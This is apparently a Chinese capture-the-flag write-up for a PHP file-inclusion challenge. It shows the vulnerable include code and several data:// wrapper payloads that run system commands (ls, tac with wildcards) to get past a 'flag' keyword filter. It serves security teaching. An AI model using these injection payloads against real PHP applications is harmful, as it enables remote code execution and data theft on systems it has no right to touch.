信息收集
题目发生了微妙的变化,只过滤flag,include后固定跟上了.php
。且没有了echo $flag;
,虽说本来就没什么用
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
解题
更多解法参考[ctfshow web入门] web37
虽然题目变了,但是解法还是没变,这里只选最简单的一种
你问我为什么没变?
之前有提到过,php中.
可以用于字符串的拼接,例如 'ab'.'cd'
= 'abcd'
我们传的是标签啊,.php
在标签外面,被当做普通文本直接打印出来了
include("data://text/plain,<?= system("tac fla*") ?>.php")
?c=data://text/plain,<?= system("ls") ?>
?c=data://text/plain,<?= system("tac fla*") ?>
或
?c=data://text/plain,<?= system("tac ?lag.p?p") ?>
那么细心的小伙伴就会问了,这个多出来的.php
到底有什么影响。.php
被拼到最后面去了
web38 目录 web40